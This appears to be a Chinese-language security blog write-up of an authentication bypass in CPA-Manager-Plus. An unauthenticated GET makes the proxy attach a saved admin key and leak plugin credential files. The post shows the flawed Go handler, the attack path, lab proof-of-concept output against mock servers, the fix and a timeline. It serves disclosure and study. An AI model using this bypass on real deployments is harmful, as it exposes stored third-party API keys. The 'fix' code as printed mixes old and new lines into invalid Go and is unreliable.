CPA-Manager-Plus Issue

CPA-Manager-Plus Issue

受影响版本: CPA-Manager-Plus v1.5.0 ~ v1.11.10 修复版本: v1.11.11(2026-07-31,PR #463 合并 commit 842eec7) 漏洞类型: CWE-287 Improper Authentication(认证绕过) CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N(Base ≈ 8.6,High) 利用条件: 已配置 CPA 上游的 CPAMP Manager Server;远程可利用;无需认证

涉及内容:

  • 认证绕过: CPAResource handler 对 GET/HEAD 分支不校验 admin key
  • 权限提升: 代理时注入保存的 CPA ManagementKey(Authorization: Bearer)
  • 信息泄露: 读取插件资源(credentials / auth files)

根因#

apps/manager-server/internal/http/controller/proxy/handler.go 的 CPAResource(漏洞版):

func (h *Handler) CPAResource(w http.ResponseWriter, r *http.Request) {
useSavedManagementKey := true
switch r.Method {
case http.MethodGet, http.MethodHead:
case http.MethodPost, http.MethodPut, http.MethodPatch, http.MethodDelete:
ok, err := h.App.AdminAuthService.VerifyHeader(r.Context(), r.Header.Get("Authorization"))
if err != nil {
response.Error(w, http.StatusInternalServerError, err)
return
}
useSavedManagementKey = ok
default:
response.MethodNotAllowed(w)
return
}
if useSavedManagementKey {
h.App.ProxyService.ProxyPluginResource(w, r, response.Error)
return
}
h.App.ProxyService.ProxyPluginResourceWithCallerAuth(w, r, response.Error)
}

两处问题叠加:

  1. useSavedManagementKey := true 是默认值;
  2. GET/HEAD 分支是空 case,不调 VerifyHeader,恒为 true。

于是无认证 GET/HEAD 走 ProxyPluginResource,替换 key。internal/service/proxy/service.go 注入点:

func (s *Service) ProxyPluginResource(w http.ResponseWriter, r *http.Request, writeError func(http.ResponseWriter, int, error)) {
if !IsCPAPluginResourcePath(r.URL.Path) {
writeError(w, http.StatusNotFound, errors.New("proxy path must be under /v0/resource/plugins/"))
return
}
s.proxyToSavedSetup(w, r, writeError, true, true)
}
if useSavedManagementKey {
req.Header.Set("Authorization", "Bearer "+setup.ManagementKey)
}

useSavedManagementKey 传到 proxyToSavedSetup,命中后把保存的 admin ManagementKey 写进上游请求头。写操作(POST/PUT/PATCH/DELETE)有校验,GET/HEAD 没有——攻击面就挂在 GET/HEAD 上。

攻击路径#

攻击者 ──[无认证 GET]──▶ CPA-Manager-Plus ──[Bearer admin-ManagementKey]──▶ CPA 上游
/v0/resource/plugins/* /v0/resource/plugins/*

一条不带任何凭据的 GET,经 Manager Server 转发到配置的 CPA 上游,头部被替换成保存的管理密钥。上游按管理员身份返回插件资源——auth-keys-plugin/credentials.json 这类文件直接吐第三方 API key。

复现#

Docker Compose A/B 环境,漏洞版 v1.11.9 对修复版 3734f184,两个 mock 上游记录每请求的 Authorization 头:

Terminal window
bash scripts/run-poc.sh
==============================================================
CVE-CPAMP Issue #462 — 未认证 ManagementKey 泄露 复现报告
==============================================================
[VULNERABLE] http://127.0.0.1:18317 proxy_working=True
GET /v0/resource/plugins/auth-keys-plugin/credentials.json HTTP 200 fake_keys=sk-proj-CVE462-REPRO-...
GET /v0/resource/plugins/ HTTP 404 fake_keys=-
probe /v0/resource/plugins/__probe__ -> HTTP 404 body_len=0
noexist/__noexist__ -> HTTP 404 body_len=19
mock 捕获到 Authorization: 3 条
[!] /v0/resource/plugins/auth-keys-plugin/credentials.json -> Bearer cpamp-cve-repro-mgmt-key-462-0123456789abcdef
[FIXED] http://127.0.0.1:18318 proxy_working=True
GET /v0/resource/plugins/auth-keys-plugin/credentials.json HTTP 200 fake_keys=sk-proj-CVE462-REPRO-...
GET /v0/resource/plugins/ HTTP 404 fake_keys=-
probe /v0/resource/plugins/__probe__ -> HTTP 404 body_len=0
noexist/__noexist__ -> HTTP 404 body_len=19
mock 捕获到 Authorization: 0 条
==============================================================
判定: VULNERABLE_CONFIRMED (exit=0)
==============================================================

漏洞版 3/3 请求携带保存的 ManagementKey 到达上游;修复版 0 条。判据说明:修复版语义是「仅已验证 CPAMP admin 才替换为保存的 key,否则保留调用方自身认证」,因此两侧 HTTP 状态码一致(公共插件资源仍可达),唯一可靠信号是 mock 是否捕获到 Bearer <ManagementKey>。

修复#

PR #463(合并 commit 842eec7,随 v1.11.11 发布)把方法判断与鉴权解耦——所有受支持方法统一过一次 VerifyHeader:

func (h *Handler) CPAResource(w http.ResponseWriter, r *http.Request) {
useSavedManagementKey := true
switch r.Method {
case http.MethodGet, http.MethodHead:
case http.MethodPost, http.MethodPut, http.MethodPatch, http.MethodDelete:
ok, err := h.App.AdminAuthService.VerifyHeader(r.Context(), r.Header.Get("Authorization"))
if err != nil {
response.Error(w, http.StatusInternalServerError, err)
return
}
useSavedManagementKey = ok
case http.MethodGet,
http.MethodHead,
http.MethodPost,
http.MethodPut,
http.MethodPatch,
http.MethodDelete:
default:
response.MethodNotAllowed(w)
return
}
if useSavedManagementKey {
ok, err := h.App.AdminAuthService.VerifyHeader(r.Context(), r.Header.Get("Authorization"))
if err != nil {
response.Error(w, http.StatusInternalServerError, err)
return
}
if ok {
h.App.ProxyService.ProxyPluginResource(w, r, response.Error)
return
}
h.App.ProxyService.ProxyPluginResourceWithCallerAuth(w, r, response.Error)
}

修复后语义:只有携带有效 CPAMP admin key 的请求才用保存的 CPA ManagementKey 替换 Authorization,其余请求保留调用方自己的认证(或无认证)。GET/HEAD 不再隐式提权,同时公共插件资源仍可访问。

时间线#

日期事件
2026-06-14commit faa1659f 引入 CPAResource(漏洞引入,进入 v1.5.0)
2026-06-16commit c5826633 仅修复写操作 caller-auth,GET/HEAD 未修改
2026-07-30Issue #462 报告(v1.11.10 为当时最新版)
2026-07-31PR #463 合并(commit 842eec7);v1.11.11 发布,包含修复
2026-08-06A/B 复现环境验证通过

参考#

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

CPA-Manager-Plus Issue
https://mansus.cc/posts/cpamp-issue-462-plugin-resource-auth-elevation/
作者
Cec1c
发布于
2026-08-13
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
Cec1c
为了留存某条林地小径
我应该说什么吗
每个不同页面有不同的配色系统。
音乐
封面

音乐

暂未播放

0:000:00
暂无歌词
最新动态
分类
标签
站点统计
文章
5
动态
1
分类
3
标签
14
总字数
9,725
运行时长
0 天
最后活动
0 天前
站点信息
构建平台
GitHub Actions
博客版本
Firefly v6.12.3
文章许可
CC BY-NC-SA 4.0